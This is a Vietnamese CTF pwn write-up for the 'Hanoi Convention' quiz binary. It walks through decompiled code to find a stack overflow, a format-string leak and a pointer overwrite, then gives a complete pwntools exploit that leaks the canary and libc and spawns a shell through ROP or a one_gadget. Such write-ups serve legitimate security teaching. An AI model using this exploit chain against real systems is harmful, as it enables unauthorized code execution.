Icon

pwn - Hanoi Convention

Can you answer all these questions?

November 4, 2025 October 25, 2025 Hard
Author Author Hung Nguyen Tuong

Setup

Để ý rằng các câu trả lời đúng đều là các câu dài nhất:

╔══════════════════════════════════════════╗
║                   QUIZ                   ║
║                                          ║
║ Test your knowledge on Hanoi Convention! ║
╚══════════════════════════════════════════╝

=== Main Menu ===
1. Create New Player
2. View Player Information
3. Start Challenge
4. Exit Game
> 1
Enter your name: ngtuonghung
Welcome, ngtuonghung!

=== Main Menu ===
1. Create New Player
2. View Player Information
3. Start Challenge
4. Exit Game
> 3

=== QUIZ ON THE HANOI CONVENTION ON INFORMATION SECURITY ===
Welcome ngtuonghung to the cybersecurity knowledge quiz.
Answer the questions correctly to get bonus points and level up!

--- Question 1 ---
What is the purpose of the 'expedited preservation of data' measure?
1. To perform regular backups
2. To require service providers to preserve relevant data for investigation purposes temporarily
3. To delete data to protect privacy
4. To move data abroad proactively
> 2
Correct! You are very knowledgeable about information security.

--- Question 2 ---
What is 'illegal interception' under the Convention?
1. Seizing hardware to access stored data
2. Secretly intercepting data in transit without authorization
3. Deleting data from a system
4. Automatically backing up data
> 2
Correct! You are very knowledgeable about information security.

--- Question 3 ---
What conditions apply to real-time collection of content data (interception)?
1. None — it may be done freely
2. Only verbal request by investigator
3. Must comply with national law and human rights safeguards
4. Always notify the target immediately
> 3
Correct! You are very knowledgeable about information security.

--- Question 4 ---
What is the treatment of money laundering linked to cybercrime in the Convention?
1. It is not covered
2. It criminalizes concealing or transferring assets derived from cybercrime
3. It treats it as a civil matter
4. It only applies to cash transactions
> 2
Correct! You are very knowledgeable about information security.

--- Question 5 ---
What is 'system interference' according to the Convention?
1. Configuring firewalls for security
2. Deliberately disrupting or degrading the functioning of an ICT system unlawfully
3. Debugging software for performance
4. Routine backup operations
> 2
Correct! You are very knowledgeable about information security.

--- Question 6 ---
In an emergency cooperation scenario, what does the Convention encourage?
1. Rapid communication between contact points to avoid data loss
2. Halting investigations pending treaties
3. Only paper correspondence
4. Ignoring national laws
> 1
Correct! You are very knowledgeable about information security.

--- Question 7 ---
When is real-time interception of content allowed?
1. When permitted under national law and consistent with human rights
2. At any time investigators wish
3. Only with user consent
4. Never, per Convention
> 1
Correct! You are very knowledgeable about information security.

--- Question 8 ---
If a state cannot fully comply with an MLA request, what is encouraged?
1. Consult to find alternative measures or clarify conditions
2. Refuse outright without explanation
3. Delegate to private sector
4. Delete the request
> 1
Correct! You are very knowledgeable about information security.

--- Question 9 ---
Does the Convention require capacity building for law enforcement?
1. Yes, it encourages training, technical assistance, and sharing best practices
2. No, it leaves this optional
3. Only hardware donations
4. Only trains private sector
> 1
Correct! You are very knowledgeable about information security.

--- Question 10 ---
Can information obtained through MLA be used for purposes other than originally requested?
1. Always permitted
2. Never permitted
3. Only for the original purpose or under conditions imposed by the providing state
4. Freely at the discretion of the recipient
> 3
Correct! You are very knowledgeable about information security.

=== END OF QUIZ ===
You answered 10/10 questions correctly.
Current score: 200

CONGRATULATIONS! You passed the quiz with an excellent result!

⭐ LEVEL UP! You have reached rank 2! ⭐

Chúng ta ném output trên và mã giả của hàm load các câu hỏi vào một công cụ AI nào đó, chúng ta sẽ có được file questions.json như sau với format như sau:

hanoi convention/questions.json

File questions.json trên thì được lấy thẳng từ server cho đầy đủ.

Bởi binary đã bị gỡ hết symbol, việc debug khá khó khăn. Nên chúng ta sẽ rebase binary trong IDA với địa chỉ base khi chạy pwndbg với NOASLR.

Source Code

Quesion struct

Sử dụng AI, chúng ta xác định được cấu trúc của một câu hỏi như sau:

00000000 struct Question // sizeof=0x304
00000000 {
00000000     char text[256];
00000100     char options[4][128];
00000300     int correct_option;
00000304 };

main()

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char choice[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  signal(14, handler);
  set_seed();
  puts(&byte_3C10);
  puts(&byte_3C98);
  puts(&byte_3CD0);
  puts(&byte_3D08);
  puts(&byte_3D40);
  if ( (unsigned int)load_questions() )
  {
    while ( 2 )
    {
      timeout();                                // 60s timeout
      puts("\n=== Main Menu ===");
      puts("1. Create New Player");
      puts("2. View Player Information");
      puts("3. Start Challenge");
      if ( player_exists && player_rank > 4 )
      {
        puts("4. Edit Player Information (Rank >= 5)");
        puts("5. Exit Game");
      }
      else
      {
        puts("4. Exit Game");
      }
      printf(input_arrow);
      if ( fgets(choice, 8, stdin) )
      {
        switch ( atoi(choice) )
        {
          case 1:
            create_player();
            continue;
          case 2:
            view_player();
            continue;
          case 3:
            start_challenge();
            continue;
          case 4:
            if ( !player_exists || player_rank <= 4 )
              goto exit;
            edit_player();
            continue;
          case 5:
            if ( !player_exists || player_rank <= 2 )
              goto invalid_choice;
exit:
            puts("Thanks for playing!");
            return 0;
          default:
invalid_choice:
            puts("Invalid choice, please try again.");
            continue;
        }
      }
      break;
    }
    if ( global_questions )
      free(global_questions);
    return 0;
  }
  else
  {
    puts("Failed to load questions. Exiting.");
    return 1;
  }
}

load_question()

__int64 load_questions()
{
  size_t size; // rax
  Question *cur_question; // rbx
  int count; // [rsp+0h] [rbp-130h]
  int leftover_brackets; // [rsp+4h] [rbp-12Ch] MAPDST
  int i; // [rsp+Ch] [rbp-124h]
  char *haystack; // [rsp+10h] [rbp-120h]
  const char *open_bracket; // [rsp+10h] [rbp-120h] MAPDST
  char *haystackb; // [rsp+10h] [rbp-120h]
  const char *close_bracket; // [rsp+18h] [rbp-118h] MAPDST
  char *s; // [rsp+28h] [rbp-108h]
  char *sa; // [rsp+28h] [rbp-108h]
  char *sb; // [rsp+28h] [rbp-108h]
  size_t n; // [rsp+30h] [rbp-100h]
  char *src; // [rsp+38h] [rbp-F8h]
  char *srca; // [rsp+38h] [rbp-F8h]
  char *srcb; // [rsp+38h] [rbp-F8h]
  char *srcc; // [rsp+38h] [rbp-F8h]
  size_t v21; // [rsp+40h] [rbp-F0h]
  char *nptr; // [rsp+48h] [rbp-E8h]
  char *correct_option; // [rsp+48h] [rbp-E8h]
  FILE *stream; // [rsp+50h] [rbp-E0h]
  char *tmp_questions; // [rsp+58h] [rbp-D8h]
  char *v26; // [rsp+70h] [rbp-C0h]
  char *v27; // [rsp+78h] [rbp-B8h]
  struct stat metadata; // [rsp+80h] [rbp-B0h] BYREF
  unsigned __int64 canary; // [rsp+118h] [rbp-18h]

  canary = __readfsqword(0x28u);
  stream = fopen("questions.json", "r");
  if ( stream )
  {
    stat("questions.json", &metadata);
    tmp_questions = (char *)malloc(metadata.st_size + 1);

    if ( tmp_questions )
    {
      size = fread(tmp_questions, 1u, metadata.st_size, stream);
      if ( size == metadata.st_size )
      {
        tmp_questions[metadata.st_size] = 0;
        fclose(stream);
        total_loaded_questions = 0;

        for ( haystack = tmp_questions;
              *haystack
           && (*haystack == ' ' || *haystack == '\t' || *haystack == '\n' || *haystack == '\r' || *haystack == '[');
              ++haystack )
        {
          ;
        }
        while ( 1 )
        {
          open_bracket = strchr(haystack, '{');
          if ( !open_bracket || !strstr(open_bracket, "\"question\"") )
            break;
          close_bracket = open_bracket;
          leftover_brackets = 1;
          while ( leftover_brackets > 0 && *close_bracket )
          {
            if ( *++close_bracket == '{' )
            {
              ++leftover_brackets;
            }
            else if ( *close_bracket == '}' )
            {
              --leftover_brackets;
            }
          }
          if ( leftover_brackets )
            break;
          ++total_loaded_questions;
          haystack = (char *)(close_bracket + 1);
        }

        if ( total_loaded_questions > 0 )
        {
          global_questions = (Question *)malloc(772LL * total_loaded_questions);
          if ( global_questions )
          {
            haystackb = tmp_questions;
            count = 0;
            while ( *haystackb
                 && (*haystackb == ' '
                  || *haystackb == '\t'
                  || *haystackb == '\n'
                  || *haystackb == '\r'
                  || *haystackb == '[') )
              ++haystackb;

            while ( count < total_loaded_questions )
            {
              open_bracket = strchr(haystackb, '{');
              if ( !open_bracket )
                break;
              close_bracket = open_bracket;
              leftover_brackets = 1;
              while ( leftover_brackets > 0 && *close_bracket )
              {
                if ( *++close_bracket == '{' )
                {
                  ++leftover_brackets;
                }
                else if ( *close_bracket == '}' )
                {
                  --leftover_brackets;
                }
              }
              if ( leftover_brackets > 0 )
                break;

              s = strstr(open_bracket, "\"question\"");
              if ( s )
              {
                for ( sa = strchr(s + 10, ':') + 1; *sa && ((*__ctype_b_loc())[*sa] & 0x2000) != 0; ++sa )
                  ;
                if ( *sa == '"' )
                {
                  sb = sa + 1;
                  v26 = strchr(sb, '"');
                  if ( v26 )
                  {
                    n = v26 - sb;
                    if ( (unsigned __int64)(v26 - sb) > 255 )
                      n = 255;
                    strncpy(global_questions[count].text, sb, n);
                    global_questions[count].text[n] = 0;
                  }
                }
              }
              src = strstr(open_bracket, "\"options\"");
              if ( src )
              {
                for ( srca = strchr(src + 9, ':') + 1; *srca && ((*__ctype_b_loc())[*srca] & 0x2000) != 0; ++srca )
                  ;
                if ( *srca == '[' )
                {
                  srcb = srca + 1;
                  for ( i = 0; i <= 3; ++i )
                  {
                    while ( *srcb && ((*__ctype_b_loc())[*srcb] & 0x2000) != 0 )
                      ++srcb;
                    if ( *srcb != '"' )
                      break;
                    v27 = strchr(++srcb, '"');
                    if ( v27 )
                    {
                      v21 = v27 - srcb;
                      if ( (unsigned __int64)(v27 - srcb) > 127 )
                        v21 = 127;
                      strncpy(global_questions[count].options[i], srcb, v21);
                      global_questions[count].options[(__int64)i][v21] = 0;
                      srcc = strchr(v27 + 1, ',');
                      if ( !srcc )
                        break;
                      srcb = srcc + 1;
                    }
                  }
                }
              }
              nptr = strstr(open_bracket, "\"correct_option\"");
              if ( nptr )
              {
                for ( correct_option = strchr(nptr + 16, ':') + 1;
                      *correct_option && ((*__ctype_b_loc())[*correct_option] & 0x2000) != 0;
                      ++correct_option )
                {
                  ;
                }
                cur_question = &global_questions[count];
                cur_question->correct_option = atoi(correct_option);
              }
              haystackb = (char *)(close_bracket + 1);
              ++count;
            }
            free(tmp_questions);
            return (unsigned int)count;
          }
          else
          {
            puts("Error: Memory allocation for questions failed");
            free(tmp_questions);
            return 0;
          }
        }
        else
        {
          puts("Error: No questions found in JSON file");
          free(tmp_questions);
          return 0;
        }
      }
      else
      {
        puts("Error: Failed to read the entire file");
        free(tmp_questions);
        fclose(stream);
        return 0;
      }
    }
    else
    {
      puts("Error: Memory allocation failed");
      fclose(stream);
      return 0;
    }
  }
  else
  {
    printf("Error: Could not open questions file %s\n", "questions.json");
    return 0;
  }
}

create_player()

unsigned __int64 create_player()
{
  ssize_t len; // [rsp+8h] [rbp-58h]
  char name[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 canary; // [rsp+58h] [rbp-8h]

  canary = __readfsqword(0x28u);
  timeout();
  printf("Enter your name: ");
  len = read(0, name, 64u);
  
  if ( len > 0 )
  {
    if ( name[len - 1] == '\n' )
      name[len - 1] = '\0';
      
    player_score = 100;
    quizzes_passed = 0;
    player_rank = 1;
    unknown = 0;
    strncpy(player_name, name, 64u);
    strcpy(activity_log, "You are ready for the knowledge challenge.");
    random_message_ptr = (&messages)[rand() % 8];
    player_exists = 1;
    
    printf("Welcome, %s!\n", player_name);
  }
  
  return canary - __readfsqword(0x28u);
}

view_player()

int view_player()
{
  if ( !player_exists )
    return puts("No player yet! Please create a character first.");
  timeout();
  
  puts("\n=== Player Information ===");
  printf("Name: %s\n", player_name);
  printf("Score: %u\n", player_score);
  printf("Quizzes Passed: %d\n", quizzes_passed);
  printf("Rank: %d\n", player_rank);
  printf("Activity Log: ");
  __printf_chk(1, activity_log);
  
  putchar('\n');
  
  return puts(random_message_ptr);
}

__printf_chk ở đây cũng khá giống với printf, nếu chúng ta có thể ghi format string vào activity_log, thì sẽ leak được các dữ liệu nằm trên stack.

random_message_ptr ở đây cũng có khả năng bị ghi đè để leak dữ liệu tại vị trí bất kỳ.

start_challenge()

unsigned __int64 start_challenge()
{
  int total_questions; // eax MAPDST
  __int64 count; // [rsp+0h] [rbp-1C0h]
  int question_index; // [rsp+8h] [rbp-1B8h]
  int option_index; // [rsp+Ch] [rbp-1B4h]
  ssize_t len; // [rsp+18h] [rbp-1A8h]
  int shuffled_indices[50]; // [rsp+20h] [rbp-1A0h] BYREF
  char player_option[8]; // [rsp+E8h] [rbp-D8h] BYREF
  char player_thoughts[200]; // [rsp+F0h] [rbp-D0h] BYREF
  unsigned __int64 canary; // [rsp+1B8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  if ( player_exists )
  {
    timeout();
    puts("\n=== QUIZ ON THE HANOI CONVENTION ON INFORMATION SECURITY ===");
    printf("Welcome %s to the cybersecurity knowledge quiz.\n", player_name);
    puts("Answer the questions correctly to get bonus points and level up!");

    for ( count = 0; SHIDWORD(count) < total_loaded_questions; ++HIDWORD(count) )// high 32 bits for loop counting
      shuffled_indices[SHIDWORD(count)] = HIDWORD(count);
    shuffle(shuffled_indices, total_loaded_questions);

    total_questions = total_loaded_questions;
    if ( total_loaded_questions > 10 )
      total_questions = 10;

    for ( question_index = 0; question_index < total_questions; ++question_index )
    {
      printf("\n--- Question %d ---\n", question_index + 1);
      puts(global_questions[shuffled_indices[question_index]].text);
      for ( option_index = 0; option_index <= 3; ++option_index )
        puts(global_questions[shuffled_indices[question_index]].options[option_index]);

      printf(input_arrow);                      // '> '

      if ( !fgets(player_option, 8, stdin) )
        return canary - __readfsqword(0x28u);

      if ( atoi(player_option) == global_questions[shuffled_indices[question_index]].correct_option )
      {
        puts("Correct! You are very knowledgeable about information security.");
        LODWORD(count) = count + 1;             // low 32 bits for correct answers counting
        player_score += 10;
      }
      else
      {
        player_score -= 10;
        printf("Wrong! You lose 10 points. Remaining: %u\n", player_score);
      }
      usleep(1000000u);                         // sleep for 1 second
    }

    puts("\n=== END OF QUIZ ===");
    printf("You answered %d/%d questions correctly.\n", count, total_questions);
    printf("Current score: %u\n", player_score);

    if ( count < total_questions )
    {
      puts("\nYou need to try harder next time to master the rules.");
    }
    else
    {
      puts("\nCONGRATULATIONS! You passed the quiz with an excellent result!");
      ++quizzes_passed;
      ++unknown;

      if ( quizzes_passed >= player_rank )
      {
        quizzes_passed = 0;
        printf(fmt_3A38, ++player_rank);        // 'LEVEL UP! You have reached rank %d!'
      }

      if ( player_rank <= 19 || player_score <= 1999 )
      {
        snprintf(activity_log, 64u, &fmt_3B10, player_rank, player_score, (player_rank - quizzes_passed), count);// 'LEVEL UP! You have reached rank %d with a score of %u, %d more passes to the next rank.'
      }
      else
      {
        puts("\nYou have shown deep understanding and are awarded an honorary certificate!");
        printf("Write your thoughts: ");
        len = read(0, player_thoughts, 224u);
        if ( len > 0 )
        {
          if ( player_thoughts[len - 1] == '\n' )
            player_thoughts[len - 1] = '\0';
          else
            player_thoughts[len] = '\0';
          printf("Added to log: %s\n", player_thoughts);
          snprintf(activity_log, 64u, "You have reached rank %d\nYour thoughts: %s", player_rank, player_thoughts);
        }
      }
    }
  }
  else
  {
    puts("No player yet! Please create a character first.");
  }

  return canary - __readfsqword(0x28u);
}

Để debug nhanh hơn, không phải đợi 1 giây cho mỗi câu hỏi, chúng ta sẽ sửa 3 byte này thành 0.

Để ý ở đây, khi từ level 20 và score 2000 trở lên, ta có thể nhập vào player thoughts 224 ký tự. Tuy nhiên kích thước buffer của player thoughts chỉ là 200, nên ở đây bị dính stack buffer overflow, chúng ta có thể ghi đè đến return address.

snprintf(activity_log, 64u, "You have reached rank %d\nYour thoughts: %s", player_rank, player_thoughts); ghi vào activity_log 64 bytes, nhưng You have reached rank 20\nYour thoughts: đã chiếm đến 40 bytes, chỉ còn lại cho chúng ta 23 bytes, 1 bytes cuối dành cho \n.

Như vậy, ta có thể chèn format string vào activity_log để leak dữ liệu trên stack, bao gồm địa chỉ stack, địa chỉ base của binary, canary.

edit_player()

unsigned __int64 edit_player()
{
  size_t len; // [rsp+8h] [rbp-98h]
  char new_name[136]; // [rsp+10h] [rbp-90h] BYREF
  unsigned __int64 canary; // [rsp+98h] [rbp-8h]

  canary = __readfsqword(0x28u);
  if ( player_exists )
  {
    if ( player_rank > 4 )
    {
      timeout();
      printf("Enter new name: ");
      if ( fgets(new_name, 128, stdin) )
      {
        len = strlen(new_name);
        if ( len && new_name[len - 1] == '\n' )
          new_name[len - 1] = 0;
        strcpy(player_name, new_name);
        puts("Player information updated!");
      }
    }
    else
    {
      puts("You need to reach rank 5 to edit player information!");
    }
  }
  else
  {
    puts("No player yet! Please create a character first.");
  }
  return canary - __readfsqword(0x28u);
}

Tại đây có thể nhập new_name đến 128 bytes, sau đó được strcpy vào player_name. Nhưng player_name chỉ có kích thước là 64 byte, vậy chúng ta có thể overflow và ghi đè random_message_ptr thành địa chỉ bất kỳ trong binary hoặc trên stack, từ đó có thể leak được địa chỉ libc.

Mitigation

Chúng ta thấy toàn bộ mitigations được bật. Không thể ghi đè GOT, không shellcode. Chúng ta đã phân tích được việc đọc địa chỉ bất kỳ khá dễ dàng khi ghi đè được random_message_ptr, còn việc ghi địa chỉ bất kỳ thì không dễ cho lắm. Vậy chúng ta có thể nghĩ đến ROP hoặc sử dụng one_gadget.

Solve

Đầu tiên, định nghĩa các helper function:

#!/usr/bin/env python3

from pwn import *

exe = ELF("quiz", checksec=False)

context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "localhost"
        port = 9999
        return remote(host, port)

def create_player():
    slan(p, b'>', 1)
    sla(p, b'Enter your name:', b'whatever')

def view_player():
    slan(p, b'>', 2)
    sleep(0.25)

def start_challenge():
    slan(p, b'>', 3)
    for i in range(10):
        option, max_len = 0, 0
        ru(p, f'--- Question {i+1} ---'.encode())
        rl(p)
        rl(p)
        for j in range(4):
            r = rl(p)
            if len(r) > max_len:
                option = j + 1
                max_len = len(r)
        slan(p, b'>', option)

def write_thoughts(thoughts):
    sla(p, b'Write your thoughts:', thoughts)
    sleep(0.25)

def edit_player(new_name):
    slan(p, b'>', 4)
    sla(p, b'Enter new name:', new_name)
    sleep(0.25)

Chúng ta lần lượt leak địa chỉ stack, binary, canary, các địa chỉ thuộc libc của các GOT entry trong binary.

p = conn()

print("create player")
create_player()

total_solve = 5 * 4 // 2
for i in range(total_solve):
    print(f"quiz {i+1}")
    start_challenge()

edit_player(b'A' * 76 + p32(20))

start_challenge()

write_thoughts(b'%p%p%p%p|%p|%p%p%p%p|%p')

view_player()

ru(p, b'|')
leaked_stack = int(rc(p, 14), 16)
print(f"stack leak: {hex(leaked_stack)}")
player_thoughts = leaked_stack - 0x100
print(f"player thoughts: {hex(player_thoughts)}")

ru(p, b'|')
leaked_binary = int(rc(p, 14), 16)
binary_base = leaked_binary - 0x2987
print(f"binary base: {hex(binary_base)}")

ru(p, b'|')
canary = int(ru(p, b'00'), 16) 
print(f"stack canary: {hex(canary)}")

edit_player(b'A' * 80 + p64(binary_base + 0x5ef0))
view_player()
ru(p, b'00\n')
leaked_free = u64(rc(p, 6) + b'\0\0')

edit_player(b'A' * 80 + p64(binary_base + 0x5f88))
view_player()
ru(p, b'00\n')
leaked_malloc = u64(rc(p, 6) + b'\0\0')

edit_player(b'A' * 80 + p64(binary_base + 0x5f58))
view_player()
ru(p, b'00\n')
leaked_read = u64(rc(p, 6) + b'\0\0')

print(f"free: {hex(leaked_free)}")
print(f"malloc: {hex(leaked_malloc)}")
print(f"read: {hex(leaked_read)}")

Từ các địa chỉ leak như free, malloc, read, nhập vào libc-database, chúng ta xác định được phiên bản libc là 2.39-0ubuntu8.6_amd64.

┌──(kalikali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - hanoi convention]
└─$ wget https://libc.rip/download/libc6_2.39-0ubuntu8.6_amd64.so -O libc.so.6
--2025-10-27 09:49:48--  https://libc.rip/download/libc6_2.39-0ubuntu8.6_amd64.so
Resolving libc.rip (libc.rip)... 195.201.0.1
Connecting to libc.rip (libc.rip)|195.201.0.1|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2125328 (2.0M) [application/octet-stream]
Saving to: libc.so.6

libc.so.6                                       100%[======================================================================================================>]   2.03M  1.67MB/s    in 1.2s    

2025-10-27 09:49:51 (1.67 MB/s) - libc.so.6 saved [2125328/2125328]

┌──(kalikali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - hanoi convention]
└─$ pwninit --bin ./quiz
bin: ./quiz
libc: ./libc.so.6
ld: ./ld-2.39.so

unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.39-0ubuntu8.6_amd64.deb
copying ./quiz to ./quiz_patched
running patchelf on ./quiz_patched

Từ đây chúng ta tính toán được base chính xác của libc.

libc = ELF('./libc.so.6', checksec=False)
libc.address = leaked_free - libc.symbols['free']
print(f"libc base: {hex(libc.address)}")

Sau đó chúng ta có thể tạo được ROP chain hoặc sử dụng one_gadget để spawn shell.

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("quiz_patched", checksec=False)

context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "localhost"
        port = 9999
        return remote(host, port)

def create_player():
    slan(p, b'>', 1)
    sla(p, b'Enter your name:', b'whatever')

def view_player():
    slan(p, b'>', 2)
    sleep(0.25)

def start_challenge():
    slan(p, b'>', 3)
    for i in range(10):
        option, max_len = 0, 0
        ru(p, f'--- Question {i+1} ---'.encode())
        rl(p)
        rl(p)
        for j in range(4):
            r = rl(p)
            if len(r) > max_len:
                option = j + 1
                max_len = len(r)
        slan(p, b'>', option)

def write_thoughts(thoughts):
    sla(p, b'Write your thoughts:', thoughts)
    sleep(0.25)

def edit_player(new_name):
    slan(p, b'>', 4)
    sla(p, b'Enter new name:', new_name)
    sleep(0.25)

p = conn()

print("create player")
create_player()

# Lên rank 5 để có thể edit player
total_solve = 5 * 4 // 2
for i in range(total_solve):
    print(f"quiz {i+1}")
    start_challenge()

# Ghi đè rank thành 20 để có thể ghi vào player thoughts luôn
edit_player(b'A' * 76 + p32(20))

start_challenge()

# Sử dụng format string bug để leak giá trị trên stack
write_thoughts(b'%p%p%p%p|%p|%p%p%p%p|%p')

view_player()

# leak địa chỉ stack (cần thiết nếu như sử dụng ROP để spawn shell)
ru(p, b'|')
leaked_stack = int(rc(p, 14), 16)
print(f"stack leak: {hex(leaked_stack)}")
player_thoughts = leaked_stack - 0x100
print(f"player thoughts: {hex(player_thoughts)}")

# leak địa chỉ base của binary
ru(p, b'|')
leaked_binary = int(rc(p, 14), 16)
binary_base = leaked_binary - 0x2987
print(f"binary base: {hex(binary_base)}")

# leak stack canary
ru(p, b'|')
canary = int(ru(p, b'00'), 16) 
print(f"stack canary: {hex(canary)}")

# leak địa chỉ của một vài GOT entry để xác định phiên bản của libc

# leak free's GOT entry
edit_player(b'A' * 80 + p64(binary_base + 0x5ef0))
view_player()
ru(p, b'00\n')
leaked_free = u64(rc(p, 6) + b'\0\0')

# leak malloc's GOT entry
edit_player(b'A' * 80 + p64(binary_base + 0x5f88))
view_player()
ru(p, b'00\n')
leaked_malloc = u64(rc(p, 6) + b'\0\0')

# leak read's GOT entry
edit_player(b'A' * 80 + p64(binary_base + 0x5f58))
view_player()
ru(p, b'00\n')
leaked_read = u64(rc(p, 6) + b'\0\0')

print(f"free: {hex(leaked_free)}")
print(f"malloc: {hex(leaked_malloc)}")
print(f"read: {hex(leaked_read)}")

# tính địa chỉ base của libc sau khi xác định được phiên bản
libc = ELF('./libc.so.6', checksec=False)
libc.address = leaked_free - libc.symbols['free']
print(f"libc base: {hex(libc.address)}")

start_challenge()

payload = b''

# 0 -> rop, 1 -> one_gadget
rop_or_onegadget = 0

if rop_or_onegadget == 0:
    print("Spawn shell using ROP...")
    leave_ret = 0x00000000000299d2 + libc.address
    pop_rdi_ret = 0x000000000010f78b + libc.address
    binsh = next(libc.search(b'/bin/sh\0'))
    payload += p64(pop_rdi_ret)
    payload += p64(binsh)
    payload += p64(libc.symbols['system'])
    payload += b'A' * (200 - len(payload))
    payload += p64(canary)
    payload += p64(player_thoughts - 0x8) # saved rbp
    payload += p64(leave_ret) # để rsp nhảy về player thoughts - 0x8 và sau đó chạy qua ROP chain
else:  
    print("Spawn shell using one gadget...")
    one_gadget = 0xef52b + libc.address
    payload += b'A' * 200
    payload += p64(canary)
    payload += p64(binary_base + 0x7000)
    payload += p64(one_gadget)

write_thoughts(payload)

rr(p, 1)

ia(p)